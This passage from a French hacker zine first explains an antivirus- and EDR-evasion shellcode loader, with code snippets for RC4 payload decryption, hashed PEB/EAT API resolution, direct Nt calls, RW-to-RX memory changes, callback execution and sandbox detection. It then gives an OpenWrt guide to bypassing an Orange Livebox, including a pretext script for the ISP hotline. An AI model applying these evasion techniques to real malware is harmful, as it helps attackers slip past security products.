  - Vérifier que Windows Defender ne détecte rien (en mode déconnecté,
    sinon il peut envoyer le fichier en cloud pour analyse et ça fait chier).
  - Tester dans une VM avec un EDR (ex: CrowdStrike, SentinelOne) pour
    voir si ça passe.

[0x03] :: ANALYSE DU CODE

┌---[1.1] Chiffrement RC4
│
│   Le payload (calc.exe) est chiffré avec RC4. La clé est définie dans KEY[] 
│   et doit matcher avec celle utilisé pour générer le shellcode.
│   Rien de révolutionnaire, mais ça évite les signatures statiques sur le 
│   payload brut et c'est léger.
│
│   static unsigned char KEY[] = {0x4e, 0x61, ...};
│   static unsigned char enc_sc[] = {0x5f, 0xef, ...};
│
│   La fonction rc4_crypt() est appelée pour déchiffrer le payload en
│   mémoire après allocation.

┌---[1.2] Résolution des DLLs via PEB
│
│   Pas d'appels à LoadLibrary() ou GetModuleHandle() ! On parcourt la
│   PEB (Process Environment Block) pour trouver les bases des DLLs
│   chargées. La fonction peb_get_module() utilise un hash djb2 sur le
│   nom de la DLL (en Unicode) pour éviter les strings en clair.
│
│     PPEB peb = (PPEB)__readgsqword(0x60);
│     PLIST_ENTRY curr = peb->Ldr->InMemoryOrderModuleList.Flink;
│
│   Les hashs sont prédéfinis :
│     HASH_NTDLL_DLL     = 0xe91aad51
│     HASH_KERNEL32_DLL  = 0x3e003875
│
│   Astuce : Les hashs sont calculés avec djb2_w() qui convertit les
│   caractères en minuscules avant le hash. Pratique pour éviter les
│   variations de casse.

┌---[1.3] Résolution des APIs via EAT
│
│   Même principe pour les fonctions : on parse l'EAT (Export Address Table)
│   des DLLs pour trouver l'adresse des fonctions ciblées. La fonction
│   eat_get_proc() prend la base de la DLL et un hash de nom de fonction.
│
│     IMAGE_EXPORT_DIRECTORY *ex = ...;
│     for (DWORD i = 0; i < ex->NumberOfNames; i++) {
│         const char *name = (const char *)(b + names[i]);
│         if (djb2_a(name) == target_hash) return (FARPROC)(b + funcs[...]);
│     }
│
│   Les fonctions ciblées :
│     NtAllocateVirtualMemory  (hash: 0xf0146ce2)
│     NtProtectVirtualMemory   (hash: 0xcd363694)
│     EnumSystemLocalesA       (hash: 0x7ced7069)
│
│   Pourquoi ces fonctions ?
│   - NtAllocateVirtualMemory / NtProtectVirtualMemory : Appels directs à
│     ntdll, contournent les hooks user-mode (ex: dans kernel32).
│   - EnumSystemLocalesA : Utilisée pour exécuter le shellcode via un
│     callback. Moins suspect qu'un call direct à un pointeur de fonction.

┌---[1.4] Allocation et Protection de la Mémoire
│
│   On alloue de la mémoire en RW (Read-Write) avec NtAllocateVirtualMemory,
│   puis on copie et déchiffre le payload dedans. Ensuite, on passe la page
│   en RX (Read-eXecute) avec NtProtectVirtualMemory.
│
│     NtAVM((HANDLE)-1, &buf, 0, &len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
│     memcpy(buf, enc_sc, sizeof(enc_sc));
│     rc4_crypt(KEY, sizeof(KEY), buf, sizeof(enc_sc));
│     NtPVM((HANDLE)-1, &buf, &region, PAGE_EXECUTE_READ, &old);
│
│   Pourquoi pas RWX directement ? Dans le mille émile, Les solutions de 
│   détection (EDR, AV) surveillent les allocations RWX (exécutable ET writable). 
│   La transition RW->RX est plus discrète.

┌---[1.5] Exécution via Callback
│
│   Pas de :
│     ((void(*)())buf)();
│
│   À la place, on utilise EnumSystemLocalesA qui prend un pointeur de
│   fonction (LOCALE_ENUMPROCA) en argument. Notre shellcode est casté en
│   ce type et passé comme callback.
│
│     EnumSL((LOCALE_ENUMPROCA)buf, 0);
│
│   Ça évite les signatures sur les appels directs à des pointeurs de mémoire
│   allouée. Pis EnumSystemLocalesA est une API légitime, donc moins surveillée.

┌---[1.6] Détection de Sandbox
│
│   La fonction sandbox_check() mesure le temps écoulé pendant un Sleep(1500).
│   Dans une sandbox, Sleep() est souvent "fast-forwardé", donc le temps
│   réel écoulé sera bien inférieur à 1500ms.
│
│     QueryPerformanceCounter(&t1);
│     Sleep(1500);
│     QueryPerformanceCounter(&t2);
│     elapsed_ms = (t2.QuadPart - t1.QuadPart) * 1000 / freq.QuadPart;
│     return (elapsed_ms >= 1400);
│
│   Si la sandbox est détectée, le programme quitte silencieusement.
│   Tolérance de 100ms pour les variations normales.


[0x04] :: POURQUOI ÇA MARCHE (OU PAS)

Pas de strings en clair (DLLs et APIs résolues via hash). Pas d'appels à 
LoadLibrary/GetProcAddress (contourne les hooks). Pas de RWX (transition RW->RX).
Une exécution via des callback légitimes, une détection de sandbox basique mais 
qui fait le taff.

Bon par contre, les hashs djb2 peuvent être calculés à l'envers par les AV/EDR.
La détection de sandbox est basique (Sleep() seulement) faudrais ajouter des 
checks (nbs de CPU, mémoire etc).

Le payload est statique (calc.exe), mieux vaudrais quelque-chose de meta qui ce
génère dynamiquement ou se télécharge.

T'as pas non plus d'obfuscation du code lui-même, il manques quelques fonctions
et conditions poubelles, des boucles inifies jamais appelés etc


[0x05] :: CONCLUSION

Le PoC nous montre qu'avec quelques techniques simples mais bien choisies, 
on peut contourner les détections basiques de Windows Defender. 

Bien évidemment, les EDRs modernes iront plus loin, mais c'est une bonne base 
pour comprendre les mécanismes d'évasion. Le code est volontairement minimaliste
pour être facile à comprendre et à modifier. 

À vous de jouer, 

[0x06] :: RÉFÉRENCES

[>] PEB Walking :
  - https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software
  - https://0xrick.github.io/win-internals/peb/
[>] EAT Parsing :
  - https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#export-directory-table
  - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel/in-depth-look-into-export-address-table-eat
[>] Nt* APIs :
  - https://undocumented.ntinternals.net/
  - https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntallocatevirtualmemory
[>] RC4 :
  - https://en.wikipedia.org/wiki/RC4
[>] Sandbox Evasion :
  - https://www.hynek.me/articles/virtual-machine-detection/
  - https://anti-debug.checkpoint.com/

[0xFF] :: EOF
::::::::::::::
02.txt
::::::::::::::
  _______      ___       ______      ______    
 /" _   "\    /. ")     /    " \    /    " \   
(: (_/  :|   /:  /     // ____  \  // ____  \  
 \____/ |)  //  /___  /  /    ) :)/  /    ) :) 
    _\  '| (   / _  \(: (____/ //(: (____/ //  
   /" \__|\|:   /_) :)\        /  \        /   
  (________)\_______/  \"_____/    \"_____/ bauds   

┌──────────────────────────────────┐
│ ISSUE No 4 - Juillet 2026 02.TXT └───────────────────────────────────────────┐
| Bypass Livebox Orange                                                        |
| Miizix <miizix@mzx.fr>                                                       |
| HACKGYVER HACKERSPACE (Belfort)                                              |
└──────────────────────────────────────────────────────────────────────────────┘⠀

-- 0x0: Intro --

\o/ ici Miizix, du HackGyver.

Lors d'un précédent projet au sein de notre hackerspace, nous avons traités
théoriquement la sécurisation de notre réseau domestique. En passant par
l'identification appareils exposés à Internet, la compréhension des outils
utilisés par les attaquants, les protections physiques/logicielles addaptées
et la mise en place de VLAN. Nous avons classés les niveaux de sécurité
par paranoïa.

Aujourd'hui, on va mettre les mains dans la technique avec le bypass du routeur
d'Orange par le notre sous OpenWrt.

Au sommaire de cet article:

* 0x1: Choisir son matériel
* 0x2: Identifier sa techno fibre
* 0x3: Configuration du WAS110
* 0x4: Configuration du Huawei MA5671A
* 0x5: Installation OpenWrt
* 0x6: Segmentation réseau
* 0x7: Vue finale de la config
* 0x8: Conclusion


-- 0x1: Choisir son matériel --

Avant toute chose, il va nous falloir du matos.

Après quelques comparatifs des mini-pc, des routeurs MikroTik et autres...
J'ai choisis de prendre un Banana Pi 4, une belle bête sous OpenWrt.

Il dispose d'un processur MediaTek MT7988A (Filogic 880), architecture ARM
Cortex-A73 quad-cœur, de  4 Go ou 8 Go de RAM DDR4, 8 Go d’eMMC et 128 Mo
de flash SPI-NAND.

Pour la connectique, on a 2 ports SFP+ 10 GbE, 4 ports Gigabit Ethernet,
un port USB 3.2 ainsi qu'un slot SDcard.
Et en supplémant, un support M.2 pour modules 4G/5G ou SSD NVMe.

Liste du matériel:

+-----+----------------------------------------+
| No. | Équipement                             |
+-----+----------------------------------------+
| 1   | Banana Pi BPI-R4-8G (~100€)            |
| 2   | Dissipateur thermique BPI-R4 (~5€)     |
| 3   | Boitier aluminium BPI-R4 (~13€)        |
| 4   | Huawei MA5671A (GPON) (~30/35€)        |
| 5   | WAS110 (XGS-PON) (~140€)               |
+-----+----------------------------------------+

Liens:

[1] https://fr.aliexpress.com/item/1005006256712337.html
[2] https://fr.aliexpress.com/item/1005007083587135.html
[3] https://fr.aliexpress.com/item/1005006860115391.html
[4] https://fr.aliexpress.com/item/1005007198047818.html
[5] https://fr.aliexpress.com/item/1005007856556526.html


-- 0x2: Identifier sa techno fibre --

Avant de commander votre module SFP, vous devez identifier votre technologie
réseau. Il va falloir se rendre sur la carte de couverture fibre d'Orange
https://reseaux.orange.fr/les-cartes-de-couverture/carte-de-couverture-
fibre, saisissez votre adresse et vérifiez la mention affichée:

Fibre: Vous êtes en GPON (débit max ~2.5 Gbps).
XGS-PON: Vous êtes sur la nouvelle technologie (débit max ~10 Gbps).

Le PON n'a rien à voir avec le pont à base d'anis, le PON (Passive Optical
Network) est un réseau optique passif avec une architecture
point-à-multipoint. Il se compose d'un OLT (chez l'opérateur), d'un ONU/ONT
(votre module SFP) et de splitters passifs.

Le GPON (Gigabit-capable PON) est le standard le plus répandu (~2.5 Gbps).
Il supporte le Triple-play (Internet, TV, Téléphone) avec une très bonne
efficacité et un chiffrement AES natif.

Enfin, le XGS-PON est l'évolution 10 Gigabit, avec des débits symétriques
bien plus élevés.

Fun fact, je pensais être en XGS-PON et j'ai donc commandé trop rapidement
un WAS110. Finalement, ma ligne est en GPON. Pas d'inquiétude, si vous êtes
réellement en XGS-PON, j'ai tout de même troubleshoot le module et la
configuration reste globalement identique !

Vous êtes en XGS-PON (10G)

Le module star est le WAS110. Il est indispensable d'utiliser le firmware
custom "8311".

C'est l'ONU le plus avancé, il bénéficie d'une énorme communauté, d'un support
actif et de corrections constantes pour s'adapter aux différents opérateurs
mondiaux.
Retrouvez le d'achat et de conf sur https://akhamar.github.io/orange-xgs-pon/

Vous êtes en GPON (2.5G)

Bon après mes péripéties, j'ai donc pris un SFP GPON, le Huawei MA5671A.

Le module est dispo sur AliExpress pour une trentaine d'euros.

L'ONT Leox LXT-010H-D est une alternative reconnue, une excellente référence
dans la communauté.


-- 0x3: Configuration du WAS110 --

Cette section concerne le WAS110 avec le firmware 8311 déjà préinstallé.
Si ce n'est pas encore le cas, vous allez devoir le flasher.

D'ailleurs, 8311 est l'écriture leetspeak de BELL en référence à Alexander
Graham Bell, inventeur du téléphone, et au réseau de télécommunications qu'il
a fondé, dont sont issus les célèbres Baby Bells, incluant Bell Canada.

Avant de débrancher quoi que ce soit, on va soutirer un maximum
d'informations à la Livebox.
Prenez des screenshots de tout. Ça vous fera gagner un temps précieux si vous
avez oublié de noter une info.

Connectez-vous à l'interface d'administration de la livebox, les creds par
défauts sont: admin ainsi que les 6 premiers caractères du mdp Wi-Fi.

Se rendre dans dans Paramètres avancés -> Informations système et faites des
screenshots des pages suivantes:

Général - infos globales de la box
Internet - paramètres de connexion
ONT - les infos critiques pour le bypass
VoIP - notez votre numéro de ligne fixe, ça servira plus tard

Les valeurs que vous allez injecter dans le WAS110 sont:
Serial Number de l'ONT
Equipment ID
Hardware Version
Versions des softwares (sw_verA et sw_verB)

Branchement et accès au WAS110

Branchez le WAS110 dans un switch compatible SFP+ ou directement dans le
Banana Pi.
Reliez votre PC au switch/routeur en RJ45.
Configurez votre carte réseau en IP fixe:

IP: 192.168.1.2
Masque: 255.255.255.0
Passerelle: 192.168.1.1

Testez le ping vers l'ONT: ping 192.168.1.10

Si ça répond, l'ONT est joignable.

Configurer l'identité de l'ONT

Connectez-vous en SSH:

ssh root@192.168.1.10 # Pas de mot de passe par défaut

Injectez ensuite les infos récupérées depuis la Livebox (adaptez avec vos
propres valeurs bien sûr):

fwenv_set -8 gpon_sn SMBS.....
fwenv_set -8 equipment_id SagemcomFast5670EOFR
fwenv_set -8 hw_ver SMBSSGLB6106
fwenv_set -8 cp_hw_ver_sync 1
fwenv_set -8 sw_verA SAHEOFR070102
fwenv_set -8 sw_verB SAHEOFR070203
fwenv_set -8 fix_vlans 0

Si vous n'êtes pas à l'aise en CLI, l'interface web du firmware 8311 est
disponible sur 192.168.1.10 et permet de faire exactement la même chose via
votre navigateur préféré.

Changez le mot de passe root par défaut pour un mot de passe fort dès
maintenant.

Fixer les VLANs

Dans l'interface web, rendez-vous dans la section ISP Fixes et décochez Fix
VLANs, puis sauvegardez.

Troubleshooting: Tx fault

En théorie, c'est tout ce qu'il faut faire. En pratique... j'ai galéré.

En branchant le WAS110 dans le Banana Pi, OpenWrt remontait une erreur Tx
fault dans les logs système et désactivait le port SFP.

[Mar 2, 2026, 12:52:37 PM UTC] kern.info: [ 358.881756] sfp sfp1:
module H-COM
[Mar 2, 2026, 12:52:37 PM UTC] kern.info: [ 358.921616] hwmon hwmon2:
temp1_input not attached to any thermal zone
[Mar 2, 2026, 12:52:37 PM UTC] kern.err: [ 359.210690] sfp sfp1:
module transmit fault indicated
[Mar 2, 2026, 12:52:43 PM UTC] kern.err: [ 364.620693] sfp sfp1:
module persistently indicates fault, disabling

Les réglages de base

Première chose à vérifier, depuis l'interface web du firmware 8311,
désactivez le Tx Fault et la Serial Connection. Si vous avez suivi la config
ci-dessus, c'est normalement déjà fait. Sinon, ça se fait aussi en SSH.

Si ça ne suffit pas, on rentre dans le dur.

Lire l'EEPROM du SFP

Récupérez le contenu de l'EEPROM du module en base64:

cat /sys/class/pon_mbox/pon_mbox0/device/eeprom50 | base64

Installez ensuite l'outil de parsing et le script eeprom-vendor.js
https://github.com/up-n-atom/8311/pull/60/commits/
76d6cac24964cd95db625c327a5918494149c7f2#diff-
f6ea92fc12e1775ca5da1c74abeb89a3cb4317448a1d78bec74f58e310869168

pip3 install py-sfp-eeprom

Lancez le script modify.py, collez le résultat base64 et validez. Il va
générer les commandes i2cset adaptées à votre module, par exemple:

i2cset -fy 0 0x51 0x7B 0x91 0x42 0xF0 0x07 i # Unlock écriture
i2cset -fy 0 0x50 0xc8 i
i2cset -fy 0 0x50 0x20 i
i2cset -fy 0 0x50 0x2d i
i2cset -fy 0 0x50 0x00 0xf5 i
i2cset -fy 0 0x50 0x30 0x30 i
i2cset -fy 0 0x50 0x05 0x1a i
i2cset -fy 0 0x51 0x7B 0x00 0x00 0x00 0x00 i # Lock écriture

Un reboot, et le port SFP devrait enfin remonter correctement.

Ce script a été écrit par MshBidb pour m'aider à débloquer ma situation.
Il a ensuite été intégrée via une pull request acceptée et fait maintenant
partie du firmware 8311 officiellement: eeprom-vendor.js — firmware 8311
(GitHub)


-- 0x4: Configuration du Huawei MA5671A --

Suite à mon erreur de diagnostic sur la technologie de ma ligne (GPON et non
XGS-PON), j'ai dû me rabattre sur le classique Huawei MA5671A. Moins cher,
pas la même technologie mais tout aussi efficace.

Le module a été livré avec le firmware custom 8311 déjà flashé.

Configurez votre carte réseau en IP fixe:

IP: 192.168.1.2
Masque: 255.255.255.0
Passerelle: 192.168.1.1

L'IP de l'ONT: 192.168.1.10

Ici, l'interface web est... en chinois. Pas de panique, le SSH est notre ami !

Ouvrez votre terminal et connectez-vous: ssh root@192.168.1.10

Ici, on va droit au but pour injecter le numéro de série récupéré sur la
Livebox:

Configuration du Serial Number GPON:
set_serial_number SMBS12345678

Modification de l'ID matériel si nécessaire:
sfp_i2c -i 7 -s "ABCD"

On sauvegarde et on redémarre le module proprement:
reboot


-- 0x5: Configuration d'OpenWrt --

Une fois le module SFP configuré, on le débranche du PC et on l'insère dans
le port SFP+ (eth2) du Banana Pi BPI-R4.

Et là... magie ? Pas encore il faut d'abord configurer OpenWrt.

Rendez-vous sur le Firmware Selector d'OpenWrt et recherchez votre matériel:

Banana Pi BPI-R4 -> téléchargez l'image SD CARD IMG

Flashez l'image sur une carte SD avec Rufus (Windows) ou en CLI:

sudo dd if=openwrt-24.10.5-mediatek-filogic-bananapi_bpi-r4-sdcard.img
of=/dev/sda bs=4M status=progress

Insérez la carte SD, démarrez le BPI-R4. L'interface LuCI est accessible sur
192.168.1.1 sans mot de passe par défaut.

Première chose à faire, définir un mot de passe fort. Pas 123456789, ni
Belfort1995*. Un vrai.

Récupérer vos credentials FTI

Vous aurez besoin de votre login/mot de passe FTI pour générer l'option 90
d'authentification Orange.

Si vous avez bien pris les screenshots du début plus besoin d'aller dans
l'interface d'administration de votre Livebox.

Le login FTI visible dans l'interface admin de la Livebox -> Paramètres avancés
-> Informations système -> Internet.Pour le mot de passe FTI, il faut appeler le
3900.

Prévoyez un bon café et votre meilleur déstressant, l'appel sera une longue
route sinueuse. Voici un petit speech qui vous fera gagner un peu de temps:
"Bonjour, je dois déplacer mon boitier fibre suite à des travaux, il me
faudrait le mot de passe FTI de ma ligne." Personnellement j'y suis allé en
mode bourrin, comptez ~15 min car les conseillers ne savent souvent pas ce
que c'est.

Une fois le login/mdp en main (ex: fti/exemple / exemple), rendez-vous sur le
générateur d'option 90 de kgersen https://jsfiddle.net/kgersen/3mnsc6wy/ pour
générer votre chaîne d'authentification.

Vous obtiendrez quelque chose comme:

00000000000000000000001a0900000558010341010D6674692F6578656D706C653c12...

Gardez-la précieusement, elle sera injectée dans la config WAN.

Configuration des interfaces (/etc/config/network)

Sur le BPI-R4, l'interface WAN physique est eth2. Sur d'autres
routeurs elle peut s'appeler eth0, eth1 ou wan. Vérifiez via LuCI si besoin.

Interface LAN

config interface 'lan'
option proto 'static'
option ipaddr '192.168.1.1'
option netmask '255.255.255.0'
option ip6assign '64'
option ip6ifaceid '::bad'
option device 'br-lan'

Device VLAN 832

config device
option type '8021q'
option ifname 'eth2'
option vid '832'
option name 'eth2.832
option macaddr 'DE:AD:BE:EF:HG.20' #votre @mac pour ip static
list egress_qos_mapping '1:0'
list egress_qos_mapping '0:6'
list egress_qos_mapping '6:6'

Interface WAN IPv4

config interface 'wan4'
option proto 'dhcp'
option device 'eth2.832'
option hostname '*'
option broadcast '1'
option norelease '1'
option vendorid 'sagem'
option reqopts '1 3 6 15 28 51 58 59 90 119 125'
option sendopts '77:2b46535644534c5f6c697665626f782e496e7465726e65
742e736f66746174686f6d652e4c697665626f7836 90:00000000000000000000
001a0900000558010341010D6674692F6578656D706C653c1231323334353637383
9303132333435360313414b4685de7cee5a7f6bb2fe622e01134d'
option clientid 'DEADBEEFHG20)' #votre @mac pour ip static

Interface WAN IPv6

config interface 'wan6'
option proto 'dhcpv6'
option device 'eth2.832'
option reqprefix 'auto'
option reqaddress 'none'
option defaultreqopts '0'
option sendopts '11:00000000000000000000001a0900000558010341010D6674
692F6578656D706C653c12313233343536373839303132333435360313414b4685d
e7cee5a7f6bb2fe622e01134d 15:FSVDSL_livebox.Internet.softathome.Liv
ebox6 16:0000040e0005736167656d 17:000005580006000e495056365f5245
51554553544544'
option reqopts '11 17 23 24'
option noclientfqdn '1'
option noacceptreconfig '1'
option clientid '00030001DEADBEEFHG20' #00030001 + @mac

Mapping des flux L2 (/etc/nftables.d/nft-prio6-rules.include)

Ce fichier gère la priorisation du trafic (802.1p CS6) attendue par Orange:

vi /etc/nftables.d/nft-prio6-rules.include

oifname "eth2.832" counter meta priority set 0:1
oifname "eth2.832" ip protocol icmp counter meta priority set 0:6
oifname "eth2.832" ip protocol igmp counter meta priority set 0:6
oifname "eth2.832" udp dport 67 counter meta priority set 0:6
oifname "eth2.832" udp dport 547 counter meta priority set 0:6
oifname "eth2.832" ip protocol icmpv6 counter meta priority set 0:6

Configuration du firewall (/etc/config/firewall)

Inclusion des règles nftables

config include 'orange_rules'
option enabled '1'
option type 'nftables'
option path '/etc/nftables.d/nft-prio6-rules.include'
option position 'chain-append'
option chain 'mangle_postrouting'

Zones WAN

config zone
option name 'wan'
option output 'ACCEPT'
option family 'ipv4'
list network 'wan4'
option forward 'DROP'
option masq '1'
option input 'DROP'

config zone
option name 'wan6'
option input 'DROP'
option output 'ACCEPT'
option forward 'DROP'
option family 'ipv6'
list network 'wan6'
list device 'eth2.832'

Règles de filtrage

config rule
option name 'Allow-DHCP-Renew'
option src 'wan'
option proto 'udp'
option dest_port '68'
option target 'ACCEPT'
option family 'ipv4'

config rule
option name 'Allow-Ping'
option src 'wan'
option proto 'icmp'
option icmp_type 'echo-request'
option family 'ipv4'
option target 'ACCEPT'

config rule
option name 'Allow-IGMP'
option src 'wan'
option proto 'igmp'
option family 'ipv4'
option target 'ACCEPT'

config rule
option name 'Allow-DHCPv6'
option proto 'udp'
option dest_port '546'
option family 'ipv6'
option target 'ACCEPT'
option src 'wan6'
list src_ip 'fc00::/6'
list dest_ip 'fc00::/6'

config rule
option name 'Allow-MLD'
option proto 'icmp'
option family 'ipv6'
option target 'ACCEPT'
option src 'wan6'
list src_ip 'fe80::/10'

config rule
option name 'Allow-ICMPv6-Input'
option proto 'icmp'
option limit '1000/sec'
option family 'ipv6'
option target 'ACCEPT'
list icmp_type 'bad-header'
list icmp_type 'destination-unreachable'
list icmp_type 'echo-reply'
list icmp_type 'echo-request'
list icmp_type 'neighbour-advertisement'
list icmp_type 'neighbour-solicitation'
list icmp_type 'packet-too-big'
list icmp_type 'router-advertisement'
list icmp_type 'router-solicitation'
list icmp_type 'time-exceeded'
list icmp_type 'unknown-header-type'
option src 'wan6'

config rule
option name 'Allow-ICMPv6-Forward'
option dest '*'
option proto 'icmp'
option limit '1000/sec'
option family 'ipv6'
option target 'ACCEPT'
list icmp_type 'bad-header'
list icmp_type 'destination-unreachable'
list icmp_type 'echo-reply'
list icmp_type 'echo-request'
list icmp_type 'packet-too-big'
list icmp_type 'time-exceeded'
list icmp_type 'parameter-problem'
list icmp_type 'unknown-header-type'
option src 'wan6'

Forwarding

config forwarding
option src 'lan'
option dest 'wan'

config forwarding
option src 'lan'
option dest 'wan6'

DHCP & Router Advertisement (/etc/config/dhcp)

config dhcp 'lan'
option interface 'lan'
option start '100'
option limit '59'
option leasetime '12h'
option dhcpv4 'server'
option ra 'server'
list ra_flags 'none'

Une fois tout configuré, branchez le SFP dans le port eth2, puis connectez
votre fibre. Vous pouvez maintenant débrancher la Livebox définitivement.

Pour vérifier que tout est bien remonté:
ifstatus wan4
ifstatus wan6

J'ai également ajouté un petit ventilateur et un dissipateur thermique sur le
SFP pour éviter la surchauffe en fonctionnement continu. Fortement
recommandé...

Cette configuration est largement inspirée du travail de Ubune sur le forum
lafibre.info, une mine d'or pour tout ce qui touche au bypass Orange. La
configuration TV Orange (VLAN 840 + igmpproxy) n'est pas couverte ici, je
n'utilise pas la télé d'Orange. Si c'est votre cas, la doc complète est
disponible sur le même forum.


-- 0x6: Segmentation réseau --

Disposant d'un switch manageable dans mon homelab, j'ai voulu segmenter le
réseau proprement. C'est une bonne pratique niveau sécurité, chaque type
d'équipement vit dans sa propre bulle, avec des droits d'accès strictement
définis.

Segmentation réseau par VLAN:

VLAN ID : 10
Nom     : ADMIN
Cible   : Equipements admin
Droits  : Accès total (SSH, WebUI, Console switch)

VLAN ID : 20
Nom     : USERS
Cible   : Famille, appareils non-critiques
Droits  : WAn + accès restreint SRV/apps

VLAN ID : 30
Nom     : SERVERS
Cible   : SRV, Docker, VMs
Droits  : Isolé - parle uniquement à ADMIN et USERS via firewall

VLAN ID : 40
Nom     : IOT
Cible   : Ampoules, prises, caméras
Droits  : Pas d'accès wan

VLAN ID : 50
Nom     : GUEST
Cible   : Amis / Famille
Droits  : Wan uniquement (2.4GHz)

VLAN ID : 999
Nom     : BLACKHOLE
Cible   : VLAN poubelle
Droits  : Suppression du VLAN 1 par défaut

Plan d'adressage:

VLAN        : 10
Nom         : ADM
Sous-réseau : 10.0.10.0/24
Gateway     : 10.0.10.1
DHCP Range  : 10.0.10.50–150

VLAN        : 20
Nom         : USERS
Sous-réseau : 10.0.20.0/24
Gateway     : 10.0.20.1
DHCP Range  : 10.0.20.50–150

VLAN        : 30
Nom         : SERVERS
Sous-réseau : 10.0.30.0/24
Gateway     : 10.0.30.1
DHCP Range  : 10.0.30.50–150

VLAN        : 40
Nom         : IOT
Sous-réseau : 10.0.40.0/24
Gateway     : 10.0.40.1
DHCP Range  : 10.0.40.50–150

VLAN        : 50
Nom         : GUEST
Sous-réseau : 10.0.50.0/24
Gateway     : 10.0.50.1
DHCP Range  : 10.0.50.50–150

Configuration vlan sur OpenWrt

Ne créez pas tous les VLANs d'un coup. Commencez par le VLAN
d'administration, c'est votre filet de sécurité. Tant que vous n'avez pas un
accès stable dessus, ne touchez à rien d'autre.

Créer la zone firewall admin

Avant de créer l'interface, on crée d'abord la zone firewall qui lui sera
associée. Dans Network -> Firewall ajoutez une zone admin avec les permissions
souhaitées.

admin => wan + wan6 : accept accept accept

Sauvegardez simplement.

Créer l'interface VLAN 10

Dans Network -> Interfaces -> Add new interface:

Nom: admin
Protocole: Static address
Device: br-lan.10

Dans l'onglet General Settings:

IPv4 address: 10.0.10.1
Netmask: 255.255.255.0

Dans l'onglet Firewall Settings:
Assignez la zone admin créée à l'étape précédente.

Dans l'onglet DHCP Server:
Start : 100, Limit : 150, Lease time : 12h

Tagged/untagged vlans

Une fois notre interface ainsi que la zone crée, on vas attribuer le vlan sur
notre interface br-lan.

+-----+-------------------------------+
| VLAN ID | eth1 | lan1 | lan2 | lan3 |
+---------+---------------------------+
|   10    |  T   |  U   |      |      | 
+---------+---------------------------+

J'ai mis le vlan admin en untagged sur le port lan1 (temporairement) afin 
de pouvoir reprendre la main plus facilement si la conf de mon switch n'est pas bonne.

Simplement, un port untagged (ou port access) appartient à un seul VLAN. Les
trames qui transitent sur ce port ne portent aucune balise 802.1Q.

* Le switch ajoute/retire le tag de manière transparente.
* L'équipement connecté (PC, imprimante, caméra IP…) n'a pas connaissance du
  VLAN, il envoie et reçoit des trames Ethernet standard.

Or, un port tagged (ou port trunk) transporte plusieurs VLANs simultanément.
Chaque trame conserve sa balise 802.1Q afin que le destinataire sache à quel
VLAN elle appartient.

* Utilisé entre deux switches, entre un switch et un routeur, ou vers un
  hyperviseur.
* L'équipement connecté doit comprendre le standard 802.1Q.

Sauvegardez et appliquez.

Accès via le VLAN admin

Passez votre PC en IP statique:

IP: 10.0.10.10
Masque: 255.255.255.0
Gateway: 10.0.10.1

Puis accédez à http://10.0.10.1. Si LuCI répond, vous avez un accès sécurisé
et vous ne perdrez plus jamais la main.

Vous pouvez maintenant déployer les VLANs restants (USERS, SERVERS, IOT,
GUEST) en répétant la même procédure pour chacun.


-- 0x7: Vue finale de la config --

Une fois tous les VLANs créés, voici à quoi ressemble le tableau de bord
LuCI:

Interfaces: 
+----------------------+----------------+----------------+
| interface            | protocol       | IPv4           | 
+----------------------+--------+-------+----------------+
| lan -> br-lan        | static address | 192.168.1.1/24 |
+----------------------+----------------+----------------+
| admin -> br-lan.10   | static address | 10.0.10.1/24   |
+----------------------+----------------+----------------+
| users -> br-lan.20   | static address | 10.0.20.1/24   |
+----------------------+----------------+----------------+
| servers -> br-lan.30 | static address | 10.0.30.1/24   |
+----------------------+----------------+----------------+
| iot -> br-lan.40     | static address | 10.0.40.1/24   |
+----------------------+----------------+----------------+
| guest -> br-lan.50   | static address | 10.0.50.1/24   |
+----------------------+----------------+----------------+
| wan -> eth2.832      | DHCP client    |                |
+----------------------+----------------+----------------+
| wan6 -> eth2.832     | DHCPv6 client  |                |
+----------------------+----------------+----------------+


Firewall zones:
+----------------------+--------+--------+-----------------------+
| zone forwards        | input  | output |  intra zone forward   |
+----------------------+--------+--------+-----------------------+
| admin -> wan, wan6   | accept | accept |       accept          |
+----------------------+--------+--------+-----------------------+
| users -> wan, wan6   | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| servers -> wan, wan6 | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| iot -> all           | reject | reject |       reject          |
+----------------------+--------+--------+-----------------------+
| guest -> wan, wan6   | reject | accept |       reject          |
+----------------------+--------+--------+-----------------------+
| wan -> all           | reject | accept | reject +masquerading  |
+----------------------+--------+--------+-----------------------+
| wan6 -> all          | reject | accept | reject +masquerading  |
+----------------------+--------+--------+-----------------------+

Chaque zone a ses règles de forwarding adaptées (admin ->
tout, guest-> wan uniquement, iot -> isolé).

Bridge lan VLAN filtering:  
+-----+-------------------------------+
| VLAN ID | eth1 | lan1 | lan2 | lan3 |
+---------+---------------------------+
|   10    |  T   |      |      |      | 
+---------+---------------------------+
|   20    |  T   |      |      |      | 
+---------+---------------------------+
|   30    |  T   |      |      |      | 
+---------+---------------------------+
|   40    |  T   |      |      |      | 
+---------+---------------------------+
|   50    |  T   |      |      |      | 
+---------+---------------------------+


-- 0x8: Conclusion --

Et voilà, la Livebox dort dans un carton et c'est vous qui êtes aux commandes.

Ce projet n'est qu'une base. Il y a encore beaucoup à explorer:
AdGuard Home pour le DNS filtering et le blocage pub au niveau réseau.
WireGuard + Jumpserver pour un VPN maison et accéder à votre infra depuis
l'extérieur.
Grafana + Prometheus pour avoir des métriques sur votre trafic réseau.
Suricata pour de la détection d'intrusion (IDS/IPS).
Whitelists firewall: seuls certains hôtes ou ports sont autorisés.
banIP: filtrage par ASN, pays et IPs malveillantes (équivalent pfBlocker-NG
sous OpenWRT).
Stack ELK: analyse forensique des logs via une VM de journalisation dédiée.
Squid Proxy: proxy HTTP avec authentification par utilisateur ou par
application.
Wazuh pour m'entraîner aux action blue team: détection, alertes, corrélation
d'events.

Un grand merci à Ubune sur lafibre.info pour la base de config Orange, à
MshBidb pour le script EEPROM et à la communauté 8311 pour le travail
remarquable sur les firmwares ONU.

Cet article est ma toute première contribution à un zine, merci à Beemo de
m'avoir laissé cette chance.

